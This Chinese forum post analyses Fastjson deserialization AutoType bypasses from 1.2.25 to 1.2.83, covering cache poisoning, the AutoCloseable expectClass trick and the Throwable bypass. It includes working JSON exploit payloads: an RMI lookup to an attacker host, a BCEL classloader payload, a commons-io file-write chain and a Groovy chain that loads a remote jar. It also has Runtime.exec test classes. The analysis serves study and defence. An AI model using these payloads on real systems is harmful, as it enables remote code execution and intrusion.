找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3569

积分

0

好友

490

主题
发表于 15 小时前 | 查看: 2| 回复: 0

Fastjson 1.2.25-1.2.47

这个版本区间的绕过,其关键点在于:

Fastjson 会在某些路径中先创建或缓存某个类的相关信息,再做 AutoType 或黑名单检查。

当缓存写入时缺乏严格限制,就可能出现:

  • 第一次解析时某些类未触发完整校验
  • 缓存之后的解析使用缓存项,导致绕过黑名单或 AutoType 限制

这就是所谓的“缓存污染”(Cache Poisoning)。

流程分析:

问题的核心在于 Fastjson 在反序列化时,需要为不同类型的对象选择合适的解析器(Deserializer)。

Fastjson DefaultJSONParser 选择解析器流程

可以看到,对于 java.lang.Class 这个类型,Fastjson 选择了 MiscCodec 作为其解析器。

MiscCodec 被选为 java.lang.Class 的解析器

MiscCodec 内部的逻辑会触发 loadClass 方法。这正是早期版本利用 LL; 绕过 AutoType 的核心方法。只要 clazz 参数等于 Class.class,就会进入这个分支。

MiscCodec 中判断 clazz == Class.class 并调用 loadClass

进入 loadClass 方法后,可以看到它从 objVal(也就是我们 JSON 中 val 键对应的值)加载类名。

MiscCodec 将 objVal 转换为 String 类型的 strVal

TypeUtils.loadClass 方法内部逻辑

跟进流程会发现,该方法将我们通过 val 指定的类名(例如 com.sun.rowset.JdbcRowSetImpl)存入了一个名为 mappings 的缓存 ConcurrentHashMap 中。这个 mappings 在该版本中是 Fastjson 用于存储“白名单”类的内部缓存集合。

TypeUtils.loadClass 将类名存入 mappings 缓存

接下来的步骤,就是常规的 JSON 反序列化流程,解析 @typecom.sun.rowset.JdbcRowSetImpl 的对象。

ParserConfig.checkAutoType 方法开始处理 @type

这时,当 checkAutoType 方法检查 com.sun.rowset.JdbcRowSetImpl 时,会先尝试从 mappings 缓存中获取该类。由于上一步已经将其存入缓存,因此这里能成功获取到,绕过了黑名单检查。

通过 TypeUtils.getClassFromMapping 从缓存中获取恶意类

之后,Fastjson 会为这个恶意类寻找对应的解析器并实例化,最终触发其 settergetter 方法,完成攻击链。

获取恶意类的解析器并实例化

总结

Fastjson 1.2.47 之前的版本,在对 java.lang.Class 类型的反序列化处理上存在逻辑缺陷。MiscCodec 解析器中的 loadClass 方法未实施严格的白名单或黑名单校验,便可将任意类名加入内部缓存。攻击者可以先构造一个 Class 类型的对象“污染”缓存,再正常反序列化目标恶意类,从而绕过 AutoType 检查,实现任意 getter/setter 方法的调用。

经典PoC(出网):

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://vps/xxxx",
        "autoCommit": true
    }
}

或是不出网PoC:

{
    "x": {
        "xxx": {
            "@type": "java.lang.Class",
            "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "c": {
            "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "www": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type": "com.alibaba.fastjson.JSONObject",
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A..."
            }
        }:{}
    }
}

Fastjson <= 1.2.68

这个版本的绕过思路有所不同。它利用了 Fastjson 在为某些接口(例如 AutoCloseable)选择 JavaBeanDeserializer 解析器时,校验流程的顺序存在不一致,从而绕过了 AutoType 的黑名单/白名单机制。如果最终加载的类存在危险方法,就可能触发 RCE。

为了理解这个过程,我们先模拟一个实现了 AutoCloseable 接口的简单类:

package com.t3y.Payload;

import java.util.LinkedHashMap;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

流程分析:

核心依然与 Fastjson 的解析器选择及内部白名单逻辑相关。在解析流程中,会进入 checkAutoType 方法。

DefaultJSONParser 解析流程进入 checkAutoType

checkAutoType 方法中,由于 @type 指定的是 java.lang.AutoCloseable(一个合法的白名单接口/类),方法会顺利返回其对应的 Class 对象。

checkAutoType 返回 java.lang.AutoCloseable 的 Class 对象

java.lang.AutoCloseable 会从 mappings 缓存中被获取。

从 mappings 缓存中获取 AutoCloseable

后续几个判断逻辑后,关键点在于 java.lang.AutoCloseable 获取到的解析器是 JavaBeanDeserializer

AutoCloseable 获取到 JavaBeanDeserializer 解析器

而这个解析器的 deserialize 方法存在逻辑问题:它会将我们 JSON 中下一个 @type 指定的类名(例如我们的恶意类),连同当前正在反序列化的类型(java.lang.AutoCloseable)作为 expectClass 参数,再次传入 checkAutoType 方法中进行检查。

JavaBeanDeserializer.deserialize 中再次调用 checkAutoType

这里引入一个关键机制:checkAutoType 的触发条件。
checkAutoType 方法内部,有一个条件判断:if (autoTypeSupport || jsonType || expectClassFlag)。这三个值任意一个为真,都可能触发后续的 loadClass 加载类。

checkAutoType 中判断 autoTypeSupport、jsonType、expectClassFlag

其中 autoTypeSupport 默认是 falsejsonType 通常也是 false。但 expectClassFlag 是我们可以控制的。只要 expectClass 参数不为空,且不等于 Object.classSerializable.classCloneable.class 等几个特定类,expectClassFlag 就会是 true

expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class)

判断 expectClassFlag 是否为 true 的逻辑

回顾一下,在 JavaBeanDeserializer 的代码中,它确实传入了 expectClass 参数(即 java.lang.AutoCloseable 的 Class 对象)。

if (deserializer == null) {
      Class<?> expectClass = TypeUtils.getClass(type);
      userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
      deserializer = parser.getConfig().getDeserializer(userType);
}

于是,在第二次进入 checkAutoType 检查我们的恶意类(例如 vul.VulAutoCloseable)时,expectClassFlagtrue,满足了绕过条件。

第二次 checkAutoType, expectClassFlag 为 true

由于 autoTypeSupportfalse,会进入黑名单 (denyHashCodes) 检查。只要我们的恶意类不在黑名单中,就能通过。

检查 denyHashCodes 黑名单

接着,由于 expectClassFlagtrue,满足了 if (autoTypeSupport || jsonType || expectClassFlag) 条件,从而调用 TypeUtils.loadClass 加载我们的恶意类。

满足条件,调用 loadClass 加载恶意类

你可能会想,不继承 AutoCloseable 接口的类行不行?答案是不行。因为在 checkAutoType 加载类之后,还有一个关键检查:判断加载的类(clazz)是否是期望类(expectClass,即 AutoCloseable)的子类或实现类。

检查加载的类是否实现了 expectClass 接口

只有实现了 AutoCloseable 接口的类才能通过这个检查,否则会抛出 “type not match” 异常。通过之后,便是完整的 Fastjson 反序列化逻辑,实例化并调用相关方法。

Java 代码中构造的 payload 示例

总结:

针对 Fastjson 1.2.68 及以下版本,研究人员测试了白名单类的解析器,发现 java.lang.AutoCloseable 会获取到 JavaBeanDeserializer 解析器,而该解析器存在上述的逻辑缺陷。攻击链的关键在于需要找到一个不在黑名单中实现了 java.lang.AutoCloseable 接口、并且其 getter/setter 方法中存在可利用代码的类。这通常需要依赖第三方库,例如利用 Apache Commons IO 中的一些类来构造复杂的利用链,实现文件写入或命令执行。

经典PoC:
依赖:commons-io 2.0 - 2.6 版本

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.6</version>
</dependency>
{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

Fastjson 1.2.68-1.2.80

在 Fastjson 1.2.68 到 1.2.80 版本,官方引入了新的解析器 ThrowableDeserializer 来处理异常类,java.lang.Throwable 及其子类会使用这个解析器,这带来了新的绕过思路。

流程分析:

我们首先构造一个自定义的异常类用于测试:

package com.t3y.Payload;

import java.io.IOException;

public class MyException extends Exception {
    private String cmd;

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(this.cmd);
        return cmd;
    }

    public void setCmd(String cmd) throws IOException {
        this.cmd = cmd;
    }

    public MyException(String cmd) {

    }
}

测试Payload:

String payload4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.t3y.Payload.MyException\",\"cmd\":\"calc\"}";
JSON.parseObject(payload4);

其调用链与 1.2.68 的 AutoCloseable 绕过类似,我们主要关注解析器的选择和绕过白名单的过程。

ThrowableDeserializer 在解析时调用 checkAutoType

流程依旧是从 mappings 缓存中获取 java.lang.Exception 类(如果不存在则加载),然后为其匹配解析器。

从 mappings 获取 Exception 类

为 Exception 类获取 ThrowableDeserializer 解析器

关键点在于,ThrowableDeserializer 解析器和 JavaBeanDeserializer 一样,在解析过程中会将 Throwable.class 作为 expectClass 参数传入 checkAutoType 方法。

String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
lexer.nextToken(16);

ThrowableDeserializer 调用 checkAutoType 并传入 Throwable.class

这相当于把 1.2.68 利用 java.lang.AutoCloseable 的思路,平移到了 java.lang.Throwable 及其子类上。在 1.2.68 之后的版本,官方将 AutoCloseable 等接口加入了 expectClass 的黑名单,使其 expectClassFlag 恒为 false,从而封堵了那条路。

以下是被加入黑名单的 expectClass 哈希值:

0x90a25f5baa21529eL → java.io.Serializable
0x2d10a5801b9d6136L → java.lang.Cloneable
0xaf586a571e302c6bL → java.io.Closeable
0xed007300a7b227c6L → java.lang.AutoCloseable
0x295c4605fd1eaa95L → java.lang.Readable
0x47ef269aadc650b4L → java.lang.Runnable
0x6439c4dff712ae8bL → java.util.EventListener
0xe3dd9875a2dc5283L → java.lang.Iterable
0xe2a8ddba03e69e0dL → java.util.Collection
0xd734ceb4c3e9d1daL → java.lang.Object

计算 expectClass 哈希并与黑名单对比

但是,Throwable.class 并不在这个黑名单中。因此,后续的逻辑与 1.2.68 版本完全一致:expectClassFlagtrue,满足绕过条件,只要目标恶意类是 Throwable 的子类且不在黑名单中,就能被成功加载。

自定义异常类 MyException 的代码

总结:

面对不断出现的安全问题,Fastjson 官方最核心的修复策略依然是强化黑白名单机制。1.2.68-1.2.80 的绕过,本质上是发现了另一个可利用“期望类”(expectClass)的解析器——ThrowableDeserializer。由于 Throwable.class 不在 expectClass 黑名单中,攻击者可以寻找不在类名黑名单中、且是 Throwable 子类的第三方库类,构造利用链。

经典PoC:
依赖:Groovy 相关库

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>3.0.12</version>
</dependency>

该利用链还结合了缓存污染的方式,需要两次反序列化:
第一次,加载一个 Groovy 的异常类到缓存:

{
    "@type": "java.lang.Exception",
    "@type": "org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

第二次,利用已缓存的类进行攻击:

{
  "@type": "org.codehaus.groovy.control.ProcessingUnit",
  "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://127.0.0.1:8081/attack-1.jar"]
  },
  "gcl":null,
  "destDir": "/tmp"
}

第一次反序列化将类加入缓存

第二次反序列化利用缓存绕过

触发漏洞的演示代码

更多详细利用链可参考相关安全研究文章。

Fastjson 1.2.83

在 1.2.83 版本中,官方进一步收紧了策略。最直接的一处修复是:在默认关闭 autoTypeSupport 的情况下,如果 @type 指定的类名以 ExceptionError 结尾,且不在内置白名单缓存 (mappings) 中,则直接抛出异常,阻止加载。

1.2.83 中对 Exception/Error 类名的直接拦截

这基本上堵死了直接利用 Throwable 子类的路径。不过,从代码层面看,ThrowableDeserializerJavaBeanDeserializer 中传入 expectClass 的代码逻辑并未改变。

思考:

既然 ThrowableDeserializer 的代码逻辑没变,而 java.lang.Exception 被直接办掉了,那么是否还有其他不是 ExceptionError 结尾的类,也会使用 ThrowableDeserializer 解析器呢?这或许是一个潜在的、值得探索的方向。

总结:

纵观 Fastjson 的多个 AutoType 绕过漏洞,其核心大多围绕着“解析器”(Deserializer)的逻辑缺陷展开。在 autoType 默认关闭的情况下,攻击者通过精心构造的 JSON,利用 checkAutoType 方法中对于“期望类”(expectClass)的判断逻辑、缓存污染机制、以及解析器内部再次调用 checkAutoType 时的参数传递,成功加载不在黑名单中的类,最终触发目标类的 getter/setter 方法完成攻击。

对于Java开发者而言,及时升级Fastjson至最新安全版本,并在安全要求高的场景下避免使用存在已知风险的序列化库,是规避此类安全风险的根本之道。深入理解这些漏洞原理,也有助于在代码审计和后端架构设计时更好地规避反序列化陷阱。

希望这篇在云栈社区分享的深度解析,能帮助你建立起对Fastjson反序列化漏洞的立体认知。




上一篇:Eagle C2框架集成AI助手实践:基于Go Gin与MCP协议的后渗透智能交互
下一篇:Claude Code Auto-Memory 功能解读:告别 Session 失忆,实现项目级上下文记忆
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-28 23:23 , Processed in 0.388961 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表